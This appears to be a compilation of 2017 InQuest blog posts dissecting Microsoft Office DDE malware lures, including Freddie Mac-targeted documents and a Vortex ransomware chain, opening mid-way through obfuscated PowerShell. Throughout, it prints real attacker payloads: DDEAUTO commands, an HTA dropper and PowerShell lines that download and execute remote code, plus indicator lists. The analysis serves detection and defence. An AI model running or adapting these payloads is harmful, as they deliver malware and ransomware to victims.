${/=\__/=\/\_/\____} = New-Object System.IO.StreamReader(${__/\___/\_/==\__/}, [system.Text.Encoding]::UTF8);
echo ${/=\__/=\/\_/\____}.readtoend();
}}
function _/=\/==\__/====\/\
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${__/=\/===\_/=\_/==});
if (${__/=\/===\_/=\_/==} -eq 0) { return 0
}
${__/\_______/\/==\} = [System.Convert]::FromBase64String(${__/=\/===\_/=\_/==});
return ___/\___/==\__/=\/(${__/\_______/\/==\});
}
function Get-Stage-PS
{[CmdletBinding()]param([Parameter()]$DomainList);
return _/==\/==\___/=\_/\ $DomainList
{return __/=\__/\_/\/==\/= "$(__/\___/=\__/===\/).stage.${/=\_/\/=\/\__/=\_}" | _/=\/==\__/====\/\; };};
function __/=\/=\_/\/=\____
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList);
return Download-Big-TXT $DomainList $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAZwBlAA=='))) | _/=\/==\__/====\/\;
}
function ____/==\/===\_/\/=
{[CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${______/====\/=\___});
${_/\___/\___/==\__} = @{ '0' = 0;
'1' = 1;
'2' = 2;
'3' = 3;
'4' = 4;
'5' = 5;
'6' = 6;
'7' = 7;
'8' = 8;
'9' = 9;
'A' = 10;
'B' = 11;
'C' = 12;
'D' = 13;
'E' = 14;
'F' = 15;
};
${___/===\/\______/} = "${______/====\/=\___}".Length;
${_/\_/\_/\_/\/\__/} = ${___/===\/\______/};
[uint64]${_______/=\_/====\} = 0;
while (${___/===\/\______/} -ne 0)
{ ${___/===\/\______/}--;
${__/\/\__/=\____/=} = ${_/\___/\___/==\__}[[string]${______/====\/=\___}[${___/===\/\______/}]];
${_/\__/=\__/=\/\/=} = _/==\/\_/\/==\/\_/ 16 (${_/\_/\_/\_/\/\__/} - ${___/===\/\______/} - 1);
${_______/=\_/====\} += [uint64]([uint64]${__/\/\__/=\____/=} * [uint64]${_/\__/=\__/=\/\/=});
}
return ${_______/=\_/====\};
}
function _/==\/\_/\/==\/\_/
{[CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${_/=\__/\/=\/\/=\/=}, [Parameter(ValueFromPipeline=$True)]${__/\/===\/\/\/\_/=});
return [Math]::Pow(${_/=\__/\/=\/\/=\/=}, ${__/\/===\/\/\/\_/=});
}
function __/\/=\/=\/\_/\/\/
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${___/\_/\/\/\_/===\});
return [convert]::ToString(${___/\_/\/\/\_/===\},2);
}
function __/=====\/=\_/===\
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${__/\_/\/\_/=\___/=});
${_/\/=\/===\_/===\} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwAvAFwAXwAvAFwALwBcAF8ALwA9AFwAXwBfAF8ALwA9AH0A'))).Split(".");
${_/\/\__/\/\_/\/\_} = [uint64]([uint64]${_/\/=\/===\_/===\}[0] * 16777216);
${/\____/\__/=\/===} = [uint64]([uint64]${_/\/=\/===\_/===\}[1] * 65536);
${/=\_/\/=\/\_/==\/} = [uint64]([uint64]${_/\/=\/===\_/===\}[2] * 256);
${_/\/==\/\/===\/=\} = ${_/\/=\/===\_/===\}[3];
${_/==\/\/\_/\/\___} = ${_/\/\__/\/\_/\/\_} + ${/\____/\__/=\/===} + ${/=\_/\/=\/\_/==\/} + ${_/\/==\/\/===\/=\};
return ${_/==\/\/\_/\/\___};
}
function Int-To-Ip
{[CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]$uint);
${_/\/\__/\/\_/\/\_} = [uint64]([uint64]$uint / 16777216) % 256;
${/\____/\__/=\/===} = [uint64]([uint64]$uint / 65536) % 256;
${/=\_/\/=\/\_/==\/} = [uint64]([uint64]$uint / 256) % 256;
${_/\/==\/\/===\/=\} = [uint64]([uint64]$uint) % 256;
return [string]${_/\/\__/\/\_/\/\_} + '.' + [string]${/\____/\__/=\/===} + '.' + [string]${/=\_/\/=\/\_/==\/} + '.' + [string]${_/\/==\/\/===\/=\};
}
${/==\/\_/\/====\/\} = @($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBzAHAAYQBjAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgB3AGUAYgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADEALgBwAHIAZQBzAHMA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADEALgB3AGUAYgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADIALgBwAHIAZQBzAHMA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADMALgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADMALgBzAHAAYQBjAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADQALgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADQALgBzAHAAYQBjAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADUALgBiAGkAegA='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADUALgBvAG4AbABpAG4AZQA='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADUALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBiAHoA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBjAGwAaQBjAGsA'))));
try
{${_/\/=\______/====} = __/=\/=\_/\/=\____(${/==\/\_/\/====\/\}); iex ${_/\/=\______/====};
}
catch
{Write-Debug $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBNAGEAaQBuAF0AIABHAGUAbgBlAHIAYQBsACAAZgBhAGkAbAB1AHIAZQA=')));
Write-Host $Error[0];
}

You’ll notice a number of base64 encoded strings above. No doubt, this is another evasion tactic. If you dig into those, you’ll see they are all password protected via HTTP authentication. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what’s responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see www.InQuest.net or reach out to us directly.

IOCs

ns0[.]pw
ns0[.]site
ns0[.]space
ns0[.]website
ns1[.]press
ns1[.]website
ns2[.]press
ns3[.]site
ns3[.]space
ns4[.]site
ns4[.]space
ns5[.]biz
ns5[.]online
ns5[.]pw
ns0[.]bz
ns0[.]click

Freddie Mac Targeted Lure

In reviewing the results of out Microsoft Office DDE malware hunt, (Microsoft_Office_DDE_Command_Execution.rule) we came across an interesting sample targeted to Freddie Mac employees. This post dives into the dissection of this well put together sample. The targeted lure 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 (7/61 AV detection rate) masquerades itself as a Six Flags Fright Fest ticket giveaway specifically for Freddie Mac employees:Freddie Mac Lure

Let's dive into the payload, we'll use the 7z+sed technique outlined in our previous post.

$ 7z e -so 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 | sed 's/<[^>]*>//g'

1381125635000 DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons" Freddie mac Employee GiveawayName:Click or tap here to enter text.Phone:Click or tap here to enter text.Email:Click or tap here to enter text.center14605Freddie Mac has partnered with Six Flags America to offer Freddie Mac employees the opportunity to win FREE tickets to Six Flags America during Fright Fest! Please provide your information in the form below, save this document, and send to [email protected] to enter for a chance to win.00Freddie Mac has partnered with Six Flags America to offer Freddie Mac employees the opportunity to win FREE tickets to Six Flags America during Fright Fest! Please provide your information in the form below, save this document, and send to [email protected] to enter for a chance to win.center7967980

This payload uses the same trick as the SEC OMB lure to improve the chances of coercing targets to activate the DDE payload. Note the usage of quotes to mask the string "http", an evasion tactic. The domain is cleverly chosen, topical (Halloween), and was registered recently through Name Cheap on 10/12/2017:

https://whois.domaintools.com/sixflags-frightfest.com

Pulling down the contents of ticket-ids we get a large, nearly 500Kb payload. Here it is, trimmed for brevity:

View the trimmed payload (5 KB)

Notice the above payload begins by modifying the registry for additional privileges by altering the following key:

"HKEY_CURRENT_USER\Software\Microsoft\Office\" & objExcel.Version & "\Excel\Security\AccessVBOM"

This is done in order to pivot execution through Microsoft Excel. Once modified, it later restores the registry setting to the previous value. This technique is generally used to mask execution chains in an attempt to hide from endpoint security solutions. Here's a sample from May of this year that uses the same technique:

Next, it decodes another payload and then flips back the "AccessVBOM" setting back to the original value. Decode the next payload and you get another file, ~350Kb in size. Here it is, trimmed for brevity:

View the trimmed payload (6 KB)

The final dropped payload from the above trimmed content is a ~200Kb malicious DLL:

5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f (47/66 AV detection rate)

This final payload is widely detected. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what's responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see www.InQuest.net or reach out to us directly.

To follow along the highlights of the conversation on Twitter, see the following moment:

Microsoft Office DDE Macro-less Command Execution Vulnerability

Update 10/17/2017

We've updated our hunt rule (Microsoft_Office_DDE_Command_Execution.rule) to widen the net for catching samples as we've seen some interesting new techniques for obfuscation and pivoting:

Obfuscated XML: https://twitter.com/InQuest/status/920272076371456000
Pubprn.vbs pivot: https://twitter.com/InQuest/status/920321960235724802 / https://twitter.com/subTee/status/855867502089220096

The Pubprn.vbs technique was publicly discussed in April of 2017 and seen used here a335270704e339babeb19e81dccaf3dfa0808bdd4ae7f4b1a1ddbbd65f5e017d (7/60 AV detection rate) in another lure targeting Freddie Mac which masquerades itself as a ticket raffle for a Guns and Roses concert:Freddie Mac Lure (Guns'n'Roses)

It's mildly interesting to note that the AV detections above were all for CVE-2016-7262. The carrier is an XLSX file and differs from the typical DDE sample we've been seeing:

$ cat a335270704e339babeb19e81dccaf3dfa0808bdd4ae7f4b1a1ddbbd65f5e017d/xl/externalLinks/externalLink1.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<externalLink xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14" xmlns:x14="http://schemas.microsoft.com/office/spreadsheetml/2009/9/main"><ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ddeService="cmd" ddeTopic=" /C Cscript %WINDIR%\System32\Printing_Admin_Scripts\en-US\Pubprn.vbs localhost &quot;script:https://gunsandroses[.]live/ticket-id&quot;"><ddeItems><ddeItem name="A0" advise="1" /><ddeItem name="StdDocumentName" ole="1" advise="1" /></ddeItems></ddeLink></externalLink>

Notice that similar to the previous lure, the resource for the next stage payload is at /ticket-id. The domains are registered within a week of one another and both through namecheap.com:

We feel confident in stating the same actor is behind both of these payloads. Whether these carriers are part of a pentesting exercise or actually motivated nefariously is anyone's guess. The domains documented in both of these lures, while once active, are both down as of the time of this writing. The Vortex Ransomware payload are still actively being served however.

IOCs

sixflags-frightfest[.]com
gunsandroses[.]live

Vortex Ransomware Targeting Poland

Unfortunately, it appears that ransomware authors are now starting to employ the use of Microsoft Office DDE malware carriers. This post will likely be our last on DDE dissection and covers the delivery of Vortex ransomware, seemingly targeted towards Poland. You can continue this research path using our hunt rule: (Microsoft_Office_DDE_Command_Execution.rule) on Virus Total Intelligence (VTI). The final delivered payload in this attack is Vortex Ransomware:Vortex Ransomware

Stepping backwards however to the initial DDE sample, we have bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 (1/59 AV detection rate), which is in CDF format and leverages a more novel technique to pivot to the next payload via mshta.exe:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe "http://w-szczecin.pl/img2/NEW15_10.doc/index.hta

Let's pull down the payload and see what we have:

$ wget http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
--2017-10-15 18:15:08--  http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
Resolving w-szczecin.pl... 91.231.140.161
Connecting to w-szczecin.pl|91.231.140.161|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3444 (3.4K)
Saving to: ‘index.hta’
2017-10-15 18:15:09 (109 MB/s) - ‘index.hta’ saved [3444/3444]

$ cat index.hta
<!DOCTYPE html>
<meta http-equiv="x-ua-compatible" content="ie=emulateie8" >
<html>
<body>
<script language="javascript">
<!--
document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%78%2D%75%61%2D%63%6F%6D%70%61%74%69%62%6C%65%22%20%63%6F%6E%74%65%6E%74%3D%22%69%65%3D%65%6D%75%6C%61%74%65%69%65%38%22%20%3E%0A%3C%68%74%6D%6C%3E%0A%3C%62%6F%64%79%3E%0A%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%76%62%73%63%72%69%70%74%22%3E%0A%44%69%6D%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3A%20%44%69%6D%20%6A%6A%6A%6A%20%3A%20%53%65%54%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3D%20%63%72%65%61%74%65%6F%62%6A%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2E%73%48%45%4C%6C%22%20%29%20%3A%20%6A%6A%6A%6A%20%3D%20%22%20%70%6F%77%65%72%73%68%65%6C%6C%2E%65%78%65%20%2D%45%78%65%43%55%74%49%6F%6E%50%6F%6C%49%63%59%20%62%79%70%61%73%73%20%20%2D%57%49%4E%64%6F%77%53%54%59%4C%45%20%68%69%64%64%45%6E%20%2D%45%4E%43%6F%64%65%64%63%4F%4D%4D%41%4E%64%20%55%41%42%76%41%48%63%41%5A%51%42%79%41%46%4D%41%61%41%42%6C%41%47%77%41%62%41%41%67%41%43%30%41%52%51%42%34%41%47%55%41%59%77%42%31%41%48%51%41%61%51%42%76%41%47%34%41%55%41%42%76%41%47%77%41%61%51%42%6A%41%48%6B%41%49%41%42%69%41%48%6B%41%63%41%42%68%41%48%4D%41%63%77%41%67%41%43%30%41%62%67%42%76%41%48%41%41%63%67%42%76%41%47%59%41%61%51%42%73%41%47%55%41%49%41%41%74%41%48%63%41%61%51%42%75%41%47%51%41%62%77%42%33%41%48%4D%41%64%41%42%35%41%47%77%41%5A%51%41%67%41%47%30%41%61%51%42%75%41%47%6B%41%62%51%42%70%41%48%6F%41%5A%51%42%6B%41%43%41%41%4C%51%42%6A%41%47%38%41%62%51%42%74%41%47%45%41%62%67%42%6B%41%43%41%41%4B%41%42%4F%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4D%41%64%41%42%6C%41%47%30%41%4C%67%42%4F%41%47%55%41%64%41%41%75%41%46%63%41%5A%51%42%69%41%45%4D%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6B%41%4C%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5A%51%41%6F%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4C%77%42%33%41%43%30%41%63%77%42%36%41%47%4D%41%65%67%42%6C%41%47%4D%41%61%51%42%75%41%43%34%41%63%41%42%73%41%43%38%41%61%51%42%74%41%47%63%41%4D%67%41%76%41%48%4D%41%4E%51%41%77%41%43%34%41%5A%51%42%34%41%47%55%41%4A%77%41%73%41%42%30%67%4A%41%42%6C%41%47%34%41%64%67%41%36%41%45%45%41%55%41%42%51%41%45%51%41%51%51%42%55%41%45%45%41%58%41%42%75%41%48%59%41%63%77%42%7A%41%43%34%41%5A%51%42%34%41%47%55%41%48%53%41%70%41%44%73%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6C%41%48%4D%41%63%77%41%67%41%43%67%41%48%53%41%6B%41%47%55%41%62%67%42%32%41%44%6F%41%51%51%42%51%41%46%41%41%52%41%42%42%41%46%51%41%51%51%42%63%41%47%34%41%64%67%42%7A%41%48%4D%41%4C%67%42%6C%41%48%67%41%5A%51%41%64%49%43%6B%41%20%22%20%3A%20%41%4E%44%52%5A%45%4A%48%44%39%31%2E%52%55%4E%20%43%48%72%20%28%20%33%34%20%29%20%26%20%41%4E%44%52%5A%45%4A%48%44%39%31%2E%65%58%50%61%6E%44%65%6E%56%49%72%6F%4E%6D%45%6E%74%73%54%52%69%4E%47%53%28%20%22%25%43%4F%4D%53%70%45%43%25%22%20%29%20%26%20%63%48%52%20%28%20%33%34%20%29%20%26%20%43%48%72%20%28%20%33%34%20%29%20%26%20%22%2F%63%20%22%20%26%20%6A%6A%6A%6A%20%26%20%63%68%72%20%28%20%33%34%20%29%20%2C%20%30%20%3A%20%53%45%74%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3D%20%4E%4F%54%48%49%6E%47%0A%3C%2F%73%63%72%69%70%74%3E%0A%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E'));
//-->
</script>
</body>
</html>

Unescape the long string and you'll find:

<!DOCTYPE html>
<meta http-equiv="x-ua-compatible" content="ie=emulateie8" >
<html>
<body>
<script language="vbscript">
Dim ANDRZEJHD91 : Dim jjjj : SeT ANDRZEJHD91 = createobject ( "wscrIPt.sHELl" ) : jjjj = " powershell.exe -ExeCUtIonPolIcY bypass  -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA " : ANDRZEJHD91.RUN CHr ( 34 ) & ANDRZEJHD91.eXPanDenVIroNmEntsTRiNGS( "%COMSpEC%" ) & cHR ( 34 ) & CHr ( 34 ) & "/c " & jjjj & chr ( 34 ) , 0 : SEt ANDRZEJHD91 = NOTHInG
</script>
</body>
</html>

We'll use our iPython shell to base64 decode the string above:

In [40]: print base64.b64decode("UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AH
    ...: MAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBu
    ...: AGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcw
    ...: BzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA")
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle minimized -command (New-Object System.Net.WebClient).DownloadFile('http://w-szczecin.pl/img2/s50.exe';, $env:APPDATA\nvss.exe );Start-Process ( $env:APPDATA\nvss.exe )

Next, we pulled down the executable and uploaded it to Virus Total (first upload) fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 (2/65 AV detection rate):Virus Total Results

This final .exe payload masquerades as an NVIDIA service. Here's a Joe Sandbox report:

https://jbxcloud.joesecurity.org/analysis/388248/0/html

Notice from the report that the sample communicates with beer-ranking.pl, a domain that was registered on 2017-10-14 with an address tied to nearly 600,000 other domains:

https://reversewhois.domaintools.com/?email=ef1fbf8d4fed46b3d30a4e1e05444de2

InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. We're also big fans of Joe Sandbox. It's one of multiple active integrations within the InQuest platform. We additionally support VXStream, Cuckoo, and FireEye sandbox integrations. We're looking at adding support for VMRay analyzer next. Active integrations within InQuest are fed files that we carve off the wire. The integration is then given time to complete its analysis at which point the InQuest integration will retrieve the results and factor it into the final session threat score. For more information on other integrations we support, see www.InQuest.net.

To follow along the highlights of the conversation on Twitter, follow this moment:

Microsoft Office DDE Macro-less Command Execution Vulnerability

IOCs

beer-ranking[.]pl

Originally published 2017-10-14 on the InQuest blog.

Microsoft Office DDE Macro-less Command Execution Vulnerability

2017-10-13

On October 9th 2017, SensePost researchers posted a technique demonstrating [macro-less command execution in Microsoft Office](https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/) documents through Dynamic Data Exchange (DDE). While variations of this technique are known, the post shed light on the fact that Microsoft has no intent to address the matter, and that "exploit" creation is trivial.

We'll kick this blog off with a mitigation for the attack, toggle the following registry key:

```text
HKCU\Software\Microsoft\Office\XX.Y\Word\Options\DontUpdateLinks = REG_DWORD 0x01
```

Where "XX.Y" above maps to your version of Office. You can also reference the following [STIG finding V-17811](https://www.stigviewer.com/stig/microsoft_word_2007/2014-04-03/finding/V-17811).

For anyone interested in following the highlights of the conversation, we're maintaining the following Twitter "moment" to capture relevant references and conversation surrounding the issue, detection, hunting, payloads, and mitigations:

* [Microsoft Office DDE Macro-less Command Execution Vulnerability](https://twitter.com/i/moments/918126999738175489)

In anticipation of threat actors adopting this technique for their campaigns, we created the following Virus Total Intelligence (VTI) hunt rule to begin collecting in-the-wild samples:

* [https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule](https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule)

We've predominantly seen collected samples come in two forms:

* Microsoft DOCX format (Word 2007+)
* Microsoft Composite Document File (CDFv2) format

In the case of CDF format the DDEAUTO is visible plainly from the file, for example from the following sample [8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 (1/60 AV detection rate)](https://www.virustotal.com/en/file/8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184/analysis/):

```text
... trimmed for brevity ...
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13 DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "https://www.dropbox[.]com/s/or2llvdmli1bw4o/index.js?dl=1" -Destination "index.js" & start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js"\x14!Final de f\xF3rmula inesperado\x15\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
```

Incidentally, That payload pivots through cscript.exe to extract, decode, and execute [Zusy malware](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_zbot.zusy) from index.js.

In the case of DOCX format samples, you'll need to decompress the sample first. For an example of that, let's consider the following interesting sample that came up from our hunts:
[11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 (9/60 AV detection rate)](https://www.virustotal.com/en/file/11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13/analysis/)

First we download the sample, confirm it's DOCX, then unzip:
```text
$ vt download 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13

$ file 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13: Microsoft Word 2007+

$ unzip -p 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml
[11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13]
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
```

Note that generally you can use unzip to decompress these samples, but the malware author took an extra step here to evade detection; Microsoft parsers are famously forgiving. Look at some of the work from [Corkami](https://github.com/corkami/) or [Alex Sotirov's](https://twitter.com/alexsotirov) Tiny PE work, to get an idea of how flexible the PE parser is for example. We switch to using 7Zip, which works. Additionally, we use Sed to strip the XML to reveal the payload, which is hosted on Amazon AWS:

```text
$ 7z e -so 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml | sed 's/<[^>]*>//g'

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1');powershell -e $e " !Unexpected End of Formula
```

Next we pull down the payload, which is base64 encoded. Note the usage of Internet Explorer 11 user-agent. Also note that the next payload is XOR encoded and the key for decoding it is "294aa01c70a8f958a016e582d0bd4ab9".

```powershell
$ wget http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1

$ cat DDE2.ps1 | base64 -D
[SystEM.NET.SerViCEPOiNTMaNaGer]::EXPeCt100COnTinue = 0;$wc=NEw-ObJecT SYstEm.NET.WEBCLIENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HEAdeRs.Add('User-Agent',$u);$wC.PROXY = [SySTeM.Net.WebREQueSt]::DEFAultWebPROxY;$wC.PrOxY.CrEDEntIAlS = [SYSteM.NEt.CRedEntialCaChe]::DeFaUlTNEtWorKCRedEnTIAlS;$K='294aa01c70a8f958a016e582d0bd4ab9';$I=0;[Char[]]$B=([cHar[]]($Wc.DoWNLoADSTring("https://23.239.28[.]30:443/index.asp")))|%{$_-BXOr$K[$i++%$k.LEnGtH]};IEX ($B-Join'')
```

The trail leads from HTTP on EC2 to HTTPS Linode, let's see what we have there. Note that the certificate isn't valid.

```text
$ wget https://23.239.28.30:443/index.asp --no-check-certificate
--2017-10-12 16:04:31-- https://23.239.28.30/index.asp
Connecting to 23.239.28.30:443... connected.
WARNING: cannot verify 23.239.28.30's certificate, issued by ‘CN=Let's Encrypt Authority X3,O=Let's Encrypt,C=US’:
Unable to locally verify the issuer's authority.
WARNING: certificate common name ‘web01.allcleardata.com’ doesn't match requested host name ‘23.239.28.30’.
HTTP request sent, awaiting response... 200 OK
Length: unspecified
Saving to: ‘index.asp’

2017-10-12 16:04:31 (67.4 MB/s) - ‘index.asp’ saved [2898]
```

The bytes in index.asp are XOR encoded, let's decode that with a python one-liner:

```powershell
$ python -c 'import itertools; print "".join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(open("index.asp", "rb").read(), itertools.cycle("294aa01c70a8f958a016e582d0bd4ab9")))'
